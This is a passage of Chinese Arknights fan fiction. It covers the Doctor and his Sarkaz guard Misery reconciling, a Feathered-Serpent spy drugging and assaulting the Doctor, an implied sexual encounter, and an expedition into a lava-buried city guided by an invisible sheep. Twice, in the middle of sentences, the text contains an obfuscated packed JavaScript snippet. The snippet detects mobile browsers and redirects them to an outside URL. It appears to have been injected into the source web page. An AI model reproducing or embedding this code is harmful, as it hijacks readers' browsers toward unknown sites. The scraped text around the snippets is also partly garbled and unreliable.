终于,在他无限靠近尾巴根的位置,眼看再往下一丁点就能摸到尾巴时,Misery闷闷叫住他:“博士……别摸了……” 他的尾巴也讨饶般往上圈住他的手腕。 “终于不当哑巴了?” 博士戳戳坚韧的尾巴尖,本来虚虚笼住手腕的尾巴瞬间收紧,就像一次用力的牵手。 “……是我不对,我不该不理你。” 萨卡兹从台子上撑起身才松开尾巴的束缚,博士注意到他从脸到脖子红了一片,挑眉故意问道:“对我的服务不满意吗?” Misery哪敢认啊,他迅速摇头:“没有!” “那你脸红什么?” 萨卡兹支支吾吾起来,他总不能直接说博士摸的位置太敏感,舒服得他快起反应了,但又尴尬得想当场钻地逃离,卡在中间不上不下的。 “因为我怕痒,”他搪塞道,“憋笑憋得很辛苦。” 好在博士好像真信了他这一套说辞,把黑曜石丢到他怀里,语气冷淡,“你早点说出来不就好了。” 让他略感意外的是,博士好像在冲他发小小的脾气,尽管看上去不太明显,完全不妨碍正常交流沟通,但偏就在小地方故意对他发难。虽然没有非常具体的恶意,但这种绵长的折磨也让他吃不消,博士像狡猾的菲林一样频频试探他的底线,Misery也拿不准他究竟是想激怒自己还是只是单纯报复。 站在店门口警戒的Sharp已经见怪不怪自己的两位雇主一前一后脸色古怪从店里走出来,调解雇主矛盾算加班的内容,要单独收费的。博士毫无疑问是他们两个当中说话更管用的那个,所以Sharp只和他谈具体细则,至于那个萨卡兹嘛……吵架了连自己尾巴都管不住的人,可以忽略不计。既然博士没有提出要求,他也就乐得当看戏了。 正午的太阳太烈,他们回酒店休憩,酒店房间二室一厅的布局,正好分开别扭的两个人。博士躺在阳台的吊椅上,极佳的海景房朝向,在舒适海风和滚滚热浪的包围中昏昏欲睡。他的终端突然亮起,他低头看了一眼,明明人就在隔壁房间,却非要通过终端跟他联系的某个萨卡兹,正因为见不到面,所以博士放心大胆露出不怀好意的笑容。 M:博士 然而等了半天,除了对面时不时显示正在编辑信息,就是什么都没发出来,博士索性也不再装睡觉,直接敲字问过去。 D:什么事 M:你没睡觉吗 博士总感觉萨卡兹原本想问的不是这个,但他也不挑破。 D:没有 M:……哦 M:我也没睡 D:你不生气? M:我怎么会生你的气 D:那就开门,我在你门口 消息刚发完,Misery就听到门外传来的咚咚两声。 萨卡兹从床上趴着盯终端的姿势蹦起来,他伸手梳理自己被睡乱的衣服和头发,然后再冲到门边,数了整整五秒钟才假装无事地打开门。 博士手里提着两杯冷饮,伸手示意,Misery侧开身子给他让路。 即便他们俩都在阳台上的小桌子旁坐下了,Misery依然身体紧绷,博士一边吸溜饮料,一边专心致志刷终端,完全没有顾及被他冷落在侧的萨卡兹。 “……博士。” “嗯?”博士终于舍得从终端里抬起头看他一眼,表示在听。 “对不起。”萨卡兹手肘撑在分开的大腿上,身体前倾,没头没尾地说道。 博士简单点头,“哦。” “我不该跟你发信息,应该直接敲门进来跟你说话。” 博士皱眉,他的终端总算往下移动了一寸,“不,选择用什么方式沟通是你的自由。” Misery深吸一口气,“即使再给我一次机会,我还是会那么说的。” “我知道,我不怪你。”博士耸肩。 Misery在心里嘀咕但你的行为可不像这样。 “我知道你现在心里肯定在说我的坏话。” Misery面色一僵,面对博士有一点最不好的地方,就是他的观察力与聪慧使自己的所有注意到、没注意到的内心想法无所遁形。 “我也还是会这么说,你早点说出来就好了。” 博士喝完饮料,起身走人。萨卡兹下意识想伸手阻拦,但他的手停在半空又缓缓收回,他怎么就这么嘴笨呢,明明博士都主动带着饮料上门来找他了,他却还是跟人僵持到对话结束。为什么他就不能像平常那样,单纯信赖并且依靠博士呢? 博士在合上房门前留下话:“晚饭不用叫我,我定了客房服务,Mechanist的工作遇到点问题,需要我远程协助他。” 萨卡兹的尾巴垂到地面上,低落得像要把自己圈起来。 咚咚咚,三声礼貌有节奏的敲门声。 “先生,您点的客房服务。” 尾音上扬的甜美女声从床头的扬声器传出,博士皱眉,他推开门,隔壁Misery的房间房门大敞,里面的萨卡兹却不知所踪。他轻轻推开一条小缝,大门外站着美丽大方的……黎博利?但她粗壮的斐迪亚尾巴优雅盘在身后,胸口别着梅兰德基金会的标志,餐盘上正是博士预定的饭食,甚至多了一杯蓝色的饮料。 “先生,”她露出哥伦比亚标志性的完美笑容,“需要我帮您送进去吗?” 博士打开门,“黎博利”步态轻松,把餐盘放置在桌面上,然后脱下她那繁复宽大的外套,露出饱满的躯体,她自在地找到椅子坐下,“希望您不讨厌一点额外的陪伴。” “……梅兰德基金会的特殊服务?不用了,请你离开。”博士的眉头皱得更紧了。 “可我听说您是历史与源石方面的专家,满足我一点小小的求知欲对您来说应该不难?求您了,先生。”她虽然外表大胆外露,但动作却十足优雅克制,并拢双腿,祈愿一般双手交叠在身前,好像真的只是来见偶像似的,美丽的绿松石眼睛里充满了未知与渴望。 “你叫什么名字?” 她的嘴角上扬,眉毛却纠缠在一起,更显得楚楚可怜,“霍尔海雅,先生,以您的博学多识,应该已经看出来了,我属于神民的一支,羽蛇的血统像诅咒一样纠缠着我们。” “所以你要问我什么问题?”博士走到她对面坐下,没有动筷子的意思。 “说来不怕您笑话,是关于生命的传承与使命,我曾经认为我们最原始的状态,飞翔于天空的羽蛇就是我们追求的一切,但现在……我不是那么的确定了。” “源石改造了你们,让你们更接近于普通人。进化只有前进,没有回头路可走,你能提出质疑就非常好。”博士的表情逐渐放松下来,他的肩膀也松懈了。 “但这不足以解答我的疑问,在如今的泰拉,在帝国的强悍军事力量下,个人的力量逐渐显得无关紧要,即便我能寻回羽蛇的力量又如何?脱离这层让我一直为之奋斗的身份,我感到无所适从……”她挤压着手指,耳羽都垂下来,“我请求您的指导,先生,请为我指一条明路吧,无论付出怎样的代价我都可以接受,我会感激您的。” “即使没有羽蛇的翅膀,你仍然可以依靠自己的力量飞上天空,克丽斯滕就是你们的榜样。”在提到克丽斯滕时博士留意着她的表情,但可惜羽蛇美丽、惹人怜爱的脸上没有丝毫波动,“你不用从我这寻求什么,你能自己想明白,甚至冒险找到我来提出这个问题,就证明你是个会为了一个答案求索到底的人,这在科研上是非常好的素质,可惜你对于入职莱茵生命这种公司估计不太感兴趣,梅兰德基金会也只是你进入新领域的踏板。” 霍尔海雅狡黠吐舌,她无辜的目光转瞬间跟斐迪亚的竖瞳似的骤缩,“您跟其他人真的很不一样,博士,只可惜您的智慧没有配上应有的武力。” 她的尾尖已经无声锁上人类脆弱的脖颈。 “我本来想用一种您也欢迎的方式打招呼,但可惜您不为所动呢。”她的指尖划过博士的侧脸,然后手上发狠捏住下巴,抬起那杯蓝色的饮料就往人类的嘴里灌进去,“只是一点见面礼,我亲手调制的汐斯塔冰茶可别浪费了,博、士。” 博士轻抹放在衣服内兜里的匕首尖,轻微的刺痛感后,他因为被掐得微微窒息又被灌了酒精有些涣散的眼神重新恢复清明。 羽蛇粗壮的尾巴轻松把他提起来,甩到沙发上压制住,她的手一一钻进博士的衣兜里,将被信息干扰的终端和匕首都摸了出来,她将那把漆黑的匕首拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391783|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在手里把玩了两下,“真是漂亮精致的小东西,居然没第一时间把它拿出来,是该说您蠢呢,还是太有自知之明了?” 上一秒还被夸赞的匕首被她随手抛到无人问津的角落里。 “现在,让我来取走您藏起来的秘密。”她一层层剥开博士的衣衫,直到这个时候博士才有点微弱但没用的反抗,很快被扒得只剩最紧身的薄薄内衬,苍白的肌肤裸露在灯光下,连皮下的蓝色血管都清晰无比,“我猜得没错,您没有任何种族标志,您的存在就足以使我着迷——” 羽蛇突然抬高尾巴,连人类一起捆走,她贴着天花板像羽兽一般腾空,又像斐迪亚一样流窜,灵活得不似活物,她站在阳台门边,成功闪避开第一波攻击,她原来站的位置出现了一位手持匕首浑身裹满漆黑杀意的萨卡兹。 “噢~看看这是谁来了,您的小情郎动作还挺快的,博士。”她抬高尾巴,指尖戳了戳博士不正常泛红的脸。 “再过两分钟,你就逃不出梅兰德基金会的包围圈了。”博士有些气喘地说道。 “啧,明明长得这么可爱的一张脸,可惜性格一点也不可爱,身体更是脆弱得跟张纸一样。别忘了你的小命正握在我的手里,别这么自信,博士。”她收紧了尾巴,博士的呼吸更加急促,他本能伸手试图扒开扼住他喉管的尾巴。 地面与墙壁都恍若战场的一部分,霍尔海雅不得不掏出藏在腰后的短小法杖,用风吹开萨卡兹从不可思议的角度追击而来的匕首,很近,太近了,每一次飞来的角度都离她的脖子越来越近,愈来愈逼近的死亡的强烈压迫感连羽蛇都炸开耳羽。如果不是提前有过详细调查,早有准备,她根本躲不开这次次都直冲命门的袭击。卡兹戴尔的顶尖杀手又如何?他越着急,越愤怒,越危险,最脆弱的地方也越明显—— 又一次的破空袭来,霍尔海雅直接甩起尾巴,用博士挡在身前,匕首果然湮灭了几分气焰,关心则乱,博士身边就是绝对的安全区。但她松懈几分的尾巴倒是给了博士缓过来几口气的机会,他的语速极快,但他相信羽蛇能从里面提取出重要的信息。 “你要的东西在柜子左边第二个抽屉里——做个交易,羽蛇,不管你给我喂的什么东西,我需要你留下解药,你已经快没有时间了——” 霍尔海雅松开尾巴,将博士大力甩向对面,她风一般轻盈的身姿已经立在阳台边缘,手里捏着一块U盘,厚重的外套也优雅披在肩上,她露出今晚第一个真心的笑容,“您的善良也同样令我印象深刻,预祝您有一个美好的夜晚,博士。” 她像一阵风一样消失在暧昧月色下。 Misery稳稳当当接住博士,他冰冷的眼神划过阳台上消失的身影,又转头紧张看向博士,人类的脖子上一圈红印,斐迪亚的鳞片在上面摩擦出像波浪一般的痕迹,但更令人担忧的是博士不正常发红的脸颊和滚烫的体温。 “桌子上那个杯子……让梅兰德基金会查一下残留物。”他气喘吁吁说道。 Misery为了照看博士,没有去追羽蛇,梅兰德基金会的工作人员因为自身失职,让背叛的前特工对博士有机可乘,向他们郑重道歉,Sharp已经被派去追击,并且派人加急检测药物残留和对博士进行紧急体检。 “您的身体没有什么问题,我们也查过了,那杯酒里添加了一种兴奋剂,是一种在汐斯塔合法流通的药物。从她入侵的路线分析,应该就是在酒店一楼的自助售货机里购买的,我们也在楼道间的垃圾桶里找到了对应的包装,它们的成分完全一致。”听到梅兰德基金会驻点的医生总结报告,在场的人都松了一口气。 医生挥退了其余人员,只留下博士和他寸步不离的萨卡兹护卫,“您如果有需要,我们可以安排可靠的员工为您处理,性别和种族都可以按您的喜好来。” “……不用。”博士捏了捏眉间,身上披着走时Misery给他搭上的外套,他仍然浑身发烫,脚步酸软,他现在可明白过来羽蛇最后说的话是什么意思。 “怎么个处理法?就这么放着会对身体有害吗?”Misery担忧追问道。 “有害谈不上,只是会很难受,以摄入的剂量来看,就这么放着不解决的话,药效至少会持续到明天中午才消退。” 眼看萨卡兹还有继续问下去的意思,博士直接拍了拍他的胳膊,“带我回房间。” “可是,博士……” “没有可是,我怎么说你就怎么做。”博士难得强硬说道,Misery只好噤声,跟来时一样横抱起博士,消失在原地。 他小心翼翼把博士放到床上,人类的脸颊通红,紧闭双眼,难受得身体都往内蜷缩,好像在和什么未知强大的东西顽强对抗。这样下去不是办法,Misery急得不行,他去冲凉自己的手掌,伸手放在博士滚烫的额头,用冰凉的指尖试图帮助博士降温。 博士却直接抱住他的手往自己脖子上放,那里更加炽热,也更加柔软,冷得博士一个激灵,但他坚持没有松开萨卡兹的手。 “医生说的解决办法到底是什么?”Misery实在看不下去,眼看着博士难受却无能为力的感觉比拿刀割伤他都还痛苦。 “……你说过,我有需要的时候可以叫你对吧?”博士的气息不匀,讲话也断断续续的。 “是。” “我现在需要你。”博士把自己从床上撑起来,Misery伸手扶了一把,但博士顺着他的手臂往上,揪住萨卡兹的领口,吻上他的嘴唇,热烈的气息喷薄在脸上,Misery同时尝到了苦涩与甜蜜的滋味,“和我做。” 20. 19 一夜的混乱之后,梅兰德基金会把酒店的相关人员几乎全换掉了,进一步加强了安保措施。Sharp也按时回来复命,正如博士推算的那样,羽蛇掐在最后的时刻成功逃之夭夭,但她在汐斯塔潜藏的实验室被一锅端了,对她来说,一时半会恐怕连哥伦比亚境内都不再安全。博士宽慰了几句深感失职的斐迪亚,即便博士宽容不计较,但这绝对是他佣兵生涯当中的败笔。 “她不是冲着我的命来的,而且计划周全,足够聪明的头脑可惜用在了犯罪上,如果有更加体面的方式穿过你们的保护与我交流,也不会出此下策。” “唉,你就是太心善了。”Sharp闷闷道,“如果不是你的、嗯,贴身护卫及时赶到,后果恐怕不堪设想。” “我珍爱博士的生命超过一切。”Misery脸不红心不跳说道,Sharp惊讶看了他一眼,雇佣兵敏锐察觉到他的雇主和身边人气氛有些不一样了。 “咳咳。”博士有些欲盖弥彰地咳嗽两声,“我知道了,在外面稍微收敛点,Misery。” 脖子上的红痕还能用羽蛇的袭击敷衍过去,但身上的欢好痕迹只能用长一点的衣裤遮掩。Misery的目光拂过那些他亲手造就的痕迹时,博士时常有种被野兽盯上了的感觉,萨卡兹炙热的眼神看得人口干舌燥。 Sharp秉持良好的佣兵素养,充分尊重雇主的隐私,即便察觉到二人之间发生了什么也没有探究的意思,但浑身上下散发出求偶成功气息的萨卡兹未免太扎眼了点,连尾巴都高兴得直打转儿,恨不得时时刻刻缠人家身上。好在博士还相对正常点,他的嗓子比昨天低哑,但不影响正常说话沟通,Sharp不想细究其中的缘故。 “我想拜托你一件事,Sharp。” “请说。” “帮我摆脱梅兰德基金会的视线,我想去熔岩区看看。” “可是、那里已经……我知道一点与官方不同的消息,但那里的居民早就搬迁得差不多了。” “没关系,只是出于研究的需要,我需要亲自去一趟,不会让你为难的。”博士想了想接着说道,“额外的费用我也会打到你的账上。” “不是钱的问题,博士,我愿意义务为你做这些,只是那里的确很危险,除了汐斯塔的警察,还有哥伦比亚的人——军方的人。”Sharp不太赞成,出于好意,他试图劝阻过于好心的雇主,这已经超出了他的职责范围,尽管从一开始博士会让第三方佣兵代替梅兰德基金会的特工就有迹可循。 “我们不是第一次与哥伦比亚军方打交道了。”博士摊手,“我需要详细的地图和他们的驻防信息,在不惊动梅兰德基金会的情况下,我相信你能搞到。” 即便回了酒店房间,博士也依旧忙碌,他打开从Mechanist那里顺走的笔记本电脑,一头扎进代码的海洋里。Mechanist还打开了视频通讯与博士实时沟通,顶着远在哥伦比亚的埃拉菲亚的视线,Misery也不敢在博士面前表现什么,只能乖乖坐在一边,等博士忙完再说。 “还好她拿走的数据碎片无关紧要。”Mechanist感叹道,“Misery怎么办事的?这能让刺客摸到你身边?” 被点到名的萨卡兹一下坐直了,他没有出现在镜头里,也没说话,Mechanist以为电脑跟前只有博士一个人,接着数落起他的不是:“优柔寡断,敏感多疑,连跟你和好认个错都磨磨唧唧的,哪像我们哥伦比亚人热情奔放、敢爱敢恨,要不你听我的换个哥伦比亚对象——” 眼看Misery的脸色越来越黑,博士强忍笑意打断了Mechanist的危险发言,“没有,我们已经和好了,而且正式交往了。” 埃拉菲亚一下子震惊到头盔怼上镜头,“什么?你昨天明明都还在跟我抱怨他——” “换个话题吧,”博士伸手摸不知道什么时候跑到他脚边的尾巴尖,但尾巴灵巧避开了他的触碰,在手掌边缘游弋,活像个生气炸毛的小动物,“哥伦比亚地下流通的黑曜石产业,你了解多少?” 等博士交接完工作,合上电脑,Misery就像个蘑菇一样在角落里扎根了。 “Misery?”博士走过去,萨卡兹尾巴拍地的速度加快了,他蹲下和双臂抱膝当蘑菇的Misery平视。 “还在生气呢?”博士伸手去抓萨卡兹的尾巴,尾巴尖依然灵活避开了,博士跟他的尾巴较起劲来,甚至挽起袖子,一副不抓到就誓不罢休的样子。 Misery刚开始还饶有兴致跟博士你来我往,几个回合下来,博士的战绩惨不忍睹,他连尾巴边都没碰到一下,眼见人类的嘴角也垂了下去,Misery的尾巴又不争气地往回绕上人类的手腕。 博士捻住手里皮质触感的尾巴,放在嘴边亲了亲,“我真没说你的坏话,你是我最喜欢的萨卡兹,也是我认识的最可爱、最善良、最温柔的萨卡兹。” Misery直接把博士拉进自己怀里抱住,头埋在博士的肩膀上,“对不起,博士,我就是有点……失落,我知道我不该打扰你做正事,Mechanist说得对,我不是个合格的对象。” 博士拍拍他的背,“别这么想,你想我多陪陪你直接说就好,没照顾到你的情绪是我的问题。” …… …… 到了晚间,博士居然还真的有准备几部哥伦比亚电影。他们俩一起窝在沙发上,盖着一条毯子,关掉灯,电影画面投影在白色的幕布上,蓝卡坞的标志从画面中央亮起。 一部讲述哥伦比亚建国历史的电影,主要围绕着总统麦克斯和联邦之父梅兰德之间的友谊展开,在与维多利亚的独立斗争中,其间也不乏男男女女间的爱恨纠葛。 “噢!梅丽莎!我的爱,我的灵魂的另一半,你就这样离我而去,让我如何面对未来的生活?你带走了我眼中的色彩,带走了我生命中的最美好的部分……” 电影有点年头了,哥伦比亚腔调的维多利亚语还保留着舞台剧般的夸张,但主演的演技与颜值完全没得挑,撑得起每一个镜头。不愧是蓝卡坞鼎盛时期的杰作,它就像哥伦比亚的经典符号一样,越过天灾、跨过物理上的距离,一直传播到最偏远的萨米、雷姆必拓,让人们对哥伦比亚式的生活趋之若鹜。 里面的理念交锋、政治斗争让博士看得津津有味,更加感性的Misery比他还沉浸,每当男女主遇险时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391785|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他抓博士的手都会用力。 …… …… “因为我想知道,你也说过让我直接说出来就好。”Misery的手指在他的后腰上打转。 博士深呼吸一口气,“感觉很好,太好了——我想除了萨卡兹的天赋,更多的是因为你。” “因为我?”萨卡兹的尾巴悄悄摇晃起来了。 “你让我感到安全、放松和满足,”博士没什么劲地啃了啃Misery的肩膀,亲吻肌□□隙里冒出的一小块源石结晶,“即便……” “即便?” “不,没什么,能得到你的爱真是太好了。” Misery心头一颤,“你怎么会这么说,博士?” “我不像外表看上去那样好,我痛苦迷茫,我连自己的路都看不清,我弱小懦弱,逃避现实,我连你一半的勇气都没有……我偏执任性,对所有对我好的人充满恶意、带给他们痛苦和灾难……” Misery扶起博士,人类的眼里已经涌出了晶莹的泪珠,萨卡兹手忙脚乱拭去那些眼泪,泪水却像断了线的珠子一样,怎么擦都擦不断。 博士的眼神从未这么低迷,充满死气,只是看一眼就能感受到充斥其中的纯粹的痛苦。Misery慌乱地吻他,揽进怀里拍拍他的背安慰。 “别这么说你自己,你是我见过最聪明、最强大也最坚强的人了,但这并不意味着你不可以拥有软弱的地方。”Misery亲亲他的发顶,“你太善良,太有责任心,把自己逼得太紧了。至少在我这里,你可以尽情放松,不用成为那个完美的‘博士’。我不会要求你做什么,也不会期待你做到什么事,你也不必成为任何人,你就是你,无论你变成什么样,我永远都在这里陪着你,永远爱你、支持你。 “我愿意分担你的痛苦,分担你的眼泪,分担你的孤独,你不再是一个人,你有我的承诺和我的心。” 博士情绪崩溃得厉害,抱着他哭了好一会儿,连声音都哭哑了,才止住眼泪抬起头来,Misery心疼得不行,他轻吻人类哭红的眼角,“我带你去洗澡,今晚上就早点睡觉,好吗?” 博士垂下眼睛点点头。 电影早已进入尾声,两位好友最后因为理念不同遗憾决裂,却各自踏入了新的领域,虽然暂时分别了,但仍然同在一片天空之下,共同创造了全新的哥伦比亚,悠扬的乡间音乐伴随片尾字幕为这个故事画上了句号。 Misery因为还要收拾,上床稍微晚一点,但他一进被子博士就挤进他怀里来了。人类的眼睛哭得红肿,即便Misery给他紧急冷敷过,依然肿得厉害,但他的精神状态已经好上许多。 他甚至还惦记着给Misery一个晚安吻再睡觉。 Misery也回了一个吻,把他珍视的、脆弱的人类小心抱进怀里,“晚安。” 他们的腿交缠在一起,他的手指轻轻抚触人类的脊背,轻柔安慰他,尾巴也轻轻贴在博士的后背上,像把他圈进无形的保护壳一样。 躺在桌子上无人问津的终端屏幕亮起,熔岩区的地图和详细标注的点位从陌生的号码传来,几分钟后,画面归于平静,漆黑的夜吞没了暗淡的光。 21. 20 厚重的火山灰掩埋了半座城市,岩浆流过的地方宛如分叉的干枯树枝,沿途留下恐怖的灼烧与侵蚀痕迹。弯折的巨大广告牌上,黑曜石音乐节的宣传图依然色彩美丽。但这座在火山下诞生,又在火山下消亡的城市并未像外界流传的那样,成为一座死寂的坟墓。 与岩浆一同涌下的,还有大量源石与黑曜石扭曲融合的产物,又因为源石的自我增殖,巨大的晶体顶破建筑,它们半透明的根部又聚拢一团团的黑色岩石——黑曜石。 整个城市都成为了同时蕴含着财富和危险的巨大矿场。哥伦比亚的巨型机器与工人穿梭其中,昼夜不歇,为商人们带来源源不断的财富。 “就是因为那次火山爆发,汐斯塔损失惨重,不得不申请破产,把自己打包卖给了哥伦比亚。”Sharp一边警戒,一边在前面开路,“但哥伦比亚答应给灾民家庭发放的补助至今没有全部落实到位,用他们总统的话来说——不要想国家为你做了什么,想想你为国家做了什么——有能力在高新区重新找到工作的人才,可以优先获得补助。” “这很哥伦比亚。”博士轻笑。 他们顺利进入封锁的熔岩区,哥伦比亚的开采工作,客观上对城市进行了清理,让他们得以从不起眼的一角安全进入已经被扫荡干净的街区。 生锈的路牌,破碎的玻璃大门,倒塌的桌椅和天花板,游泳圈与落满灰尘的水枪仿佛诉说着昨日的故事。 Misery几乎与博士紧挨着肩膀,空气中都是硫磺和灰尘的味道,尽管他们选的这条路,经过测量,空气中的有害气体与源石浓度都降到了安全水平,但他的预感炸得要命,突突跳动的太阳穴试图撺掇他把博士扛起逃离这个危险的地方。 博士轻轻碰了下他的手背,投来关切的目光,Misery勉强支起一个微笑,握住博士的指尖捏了捏,“我没事。” 哥伦比亚的机械只对那些高质量同样也高危险的黑曜石矿感兴趣,路面上甚至可以随随便便捡到小块的黑曜石碎片,有Sharp和Misery的帮忙,博士捡了几块品相好点的揣在包里。他们继续深入街区,博士的目光在四周巡睃,他来到这里并非毫无缘由,麦克斯不会好心到真的只是送他来旅游的。 叮铃一声,余光里闪过一抹粉白,博士停下脚步,皱眉道:“有铃铛的声音,你们刚刚看见什么了吗?” 萨卡兹和斐迪亚都面露疑惑。 博士果断朝着那个方向走去,拐过街角,果然他没有看错——站在倾斜的路牌下的浅粉色绵羊,它的角上缠绕着红蓝两色的丝带,在脑后束成一个蝴蝶结,脖子上挂着一粒金色的铃铛,它纯真的眼睛直直看向博士。 “这里怎么会有……羊?” “羊?什么羊?”Sharp疑惑。 “你们看不见?就在那块汐斯塔风情街路牌下面——欸,等等!” 粉色小羊转身欲走,丝带飘扬在身后,它往前蹦了几步,又回头看一眼,好像在故意等他似的。博士也赶紧跟上,后面俩人虽然不明所以,但还是老老实实跟在博士后面。 粉羊始终保持着不远不近的距离,博士走快它也走快,博士因为体力不支慢下来,它也不急不忙,在原地梳理它的蝴蝶结。他们左拐右绕,进入一片宽敞的未知街区,粉羊突然慢下脚步,它走到一栋建筑面前,用脑袋顶开玻璃门,然后熟练钻入。 “……门怎么自己开了?”Misery摸上腰间的匕首。 博士抬头看向这栋特别的建筑,它形状奇特、孤零零伫立在这,非常好运地避开了落下的滚石与倾倒的大楼,外观完整,连招牌都稳稳挂在原处。 博士念出上面的名字:“汐斯塔火山博物馆。” 进入馆内,除了蒙上一层厚厚的灰尘,里面的东西竟然没有受到任何损坏,展板上详细介绍了汐斯塔这座城市的诞生,汐斯塔人与火山的紧密联系,门口的留言册上还有小朋友用卡西米尔语写下的希望明年也能来玩,最近的留言时间截止到火山爆发的前一天,那之后的页面空荡荡的,记录着这座城市失去的曾经。 叮铃—— 博士抬头看去,粉色小羊在楼梯上看着他,它回头望了望楼上,意图明显。 到二楼,玻璃展柜里摆放着火山矿石模型、历年来小型爆发留下的火山灰、发黄的报纸与文献、干瘪的颜色奇特的源石虫,粉色小羊像这里的主人一样昂首挺胸巡视过这些物品,带着博士停在一面空的玻璃柜前。 从旁边的介绍牌可以知道,这里原本摆放的是进入火山穿戴的防护服,属于两位为火山奉献了终生的研究员。 粉色小羊望着那处空缺,博士硬是从那张与人类五官迥然不同的脸上看出了怀念与不舍。他这一次顺利走到这只小羊身边,试探性蹲下,摸上那团蓬松的粉毛,指尖传来触感的做不了假,这的确是一只可爱的、毛茸茸的、不知为何出现在此的粉红色小绵羊。 它同样粉红的眼睛眨呀眨,看看玻璃柜又看看博士,用它头上弯曲的角拱了拱人类的手掌。 “你是想……让我帮你找回这里的展品?”博士尽力去理解它的动作。 小羊点点头,它往前一蹦,直接蹦到博士的怀里,人类被毛茸茸糊了一脸,他调整手上的姿势,让小羊规规矩矩窝在臂弯里,这只奇怪的羊就像云朵一样,轻飘飘的,连博士这种细胳膊细腿的也能轻轻松松抱起来。 “你们真的看不见?我手里抱着一只羊啊。”回头迎上两对疑惑目光的注视,博士举高了手里抱着的粉羊,小绵羊不是很乐意被展示,在他手里扭动。 Sharp面露难色:“虽然我们的合同里没有写过关于这方面的条款,但即使你精神失常出幻觉了,我也……” “我没有发疯,Sharp。”他直接拉过斐迪亚的手放在粉羊身上。 “哦?哦!” “是吧,软绵绵的。” “真的!……这是怎么回事?” Misery也好奇凑过来,向博士面前的空气伸手,但他摸到的一点也不软,硬邦邦的,还往回缩,紧接着什么东西咬了他一口,Misery尾巴都竖直了,猛地缩回手。 “你摸到人家的蹄子了。”博士笑道。 “所以这里真的有一只我们看不见的小羊?”Sharp的表情精彩纷呈,往日一板一眼、表情管理极佳的硬汉露出稀奇、柔软的神色,在雇佣兵生涯中他还是头一回遇到这样稀奇古怪的事情。 “对,而且看它的动作,是想让我们帮它找回原本挂在这里的防护服。” “可我们要怎么找?”Misery被咬后,还是不死心,手上跃跃欲试,但几次三番都被羊角拱走。 “既然这里的东西保存得这么完好,可以去办公室查一下展品的记录,说不定有线索。” 果然如博士所说,他们在二楼的工作人员区域,在其中一个办公桌上发现了蒙尘的记录册,那件物品的编号后面签署着阿黛尔·瑙曼这个名字。 “这个姓氏,和刚刚那两个研究员的一样……是他们的女儿吧。”博士轻声叹息,“借出的理由是前往一号监测站调查异常数据,我记得一楼地图上就有这个监测站的位置。” “你确定吗,博士?”Sharp再一次确认道。 这不能怪佣兵的谨慎,这已经偏离了他们原本的设想,如果要去半山腰的一号监测站,就必须穿过最大的矿场,那里不仅有高污染的源石,还有更加危险的哥伦比亚军队。 博士低头看了一眼在他怀里的小羊,小羊不知道听懂他们的谈话内容没,只是睁着圆圆的大眼睛望着博士。 “炎国有一句谚语,不入虎穴焉得虎子。” 博士抱着小羊,Misery抱着博士,Sharp依旧负责侦查与探路。他们不能像之前那样慢悠悠在街道上散步,进入管控区域,需要时刻提防哥伦比亚的无人机与工程车。 手持检测仪的绿光逐渐转黄,他们仨都带上了防护面罩,空气中源石浓度变浓,一定程度上干扰了机器的运作,他们行进的路上也稍微轻松了些。 他们绕过戒备森严的军事设施,从笨重的巨型机械身上跨过。Sharp虽然没有Misery那么方便的源石技艺,但他的身手矫健、直觉敏锐,总能在被发现之前躲过。 “这日子没法过了!自从换了新的工头,我们的工作时间已经延长到了十四个小时——还记得上个月倒下的杰森吗?他因为疲劳过度,佩戴防具忘了扣紧,被发现时已经矿石病晚期了!”带有浓厚玻利瓦尔腔调的工人抱怨道。 “我们来之前不是说已经买好保险……” “天真!如果你多认识两个字,把合同里的条款一条一条抖出来看,就会发现他们拒保的理由花哨得跟亚历克斯的那条穿烂的内裤一样。” Misery压低身形,如鬼魅般从这群抱怨连天的工人头顶钢梁走过。Sharp已经在尽头位置等他们。 怀里的小羊被粉尘和劣质卷烟熏得涨红脸,然后阿啾一声,它脖子上的铃铛也晃了晃。 “哪里来的铃铛声?”一个稚嫩声音说,“从棚子上面传来的。” “小阿列克谢,你又出幻觉了?你上次还说见到一个叼着盘子跳来跳去的小白羊,在这种地方,要么早就感染矿石病死了,要么已经进了我们哪个人的肚子里哈哈哈哈。” “我没有!我真的有看到!这次我一定抓到它给你们看。” 脚步声从棚子下面哒哒哒传来。Misery神情一凛,他收紧胳膊抱稳博士,加快脚步,他现在立在钢架边缘,只需要轻盈一跃,就能摆脱困境。 但这时博士怀里的小羊不安分起来,它挣脱了博士的怀抱向前一跳,博士被它突然的举动吓到伸手去捞,连带着探出半个身子调整落脚点的萨卡兹一起脚步不稳,Misery的尾巴都徒劳地圈上钢梁试图挽回一点,但他实在高看了他的尾巴承受力,直接从钢架上滑落,他们连人带羊一起下落。 BOOM—— 噢,别担心,这不是他们落地的声响。 小羊一下子膨胀到几十倍大,像气球一样圆滚滚的,博士和Misery一起陷入柔软的羊毛里,他们的位置距离地面越来越远。粉红大羊不仅看起来像气球,飘起来也更像了。 它慢悠慢悠甚至飘到Sharp那一侧,将三个人都接上。从地面上看,只是一团无害的淡粉色的云朵。博士坐在毛团里往回看了一眼,钻出棚子来的半大小孩已经像芝麻大小的一个点了。 “哇哦……既然你的羊朋友会变大,它为什么不早点这样做?”Sharp惊讶道。 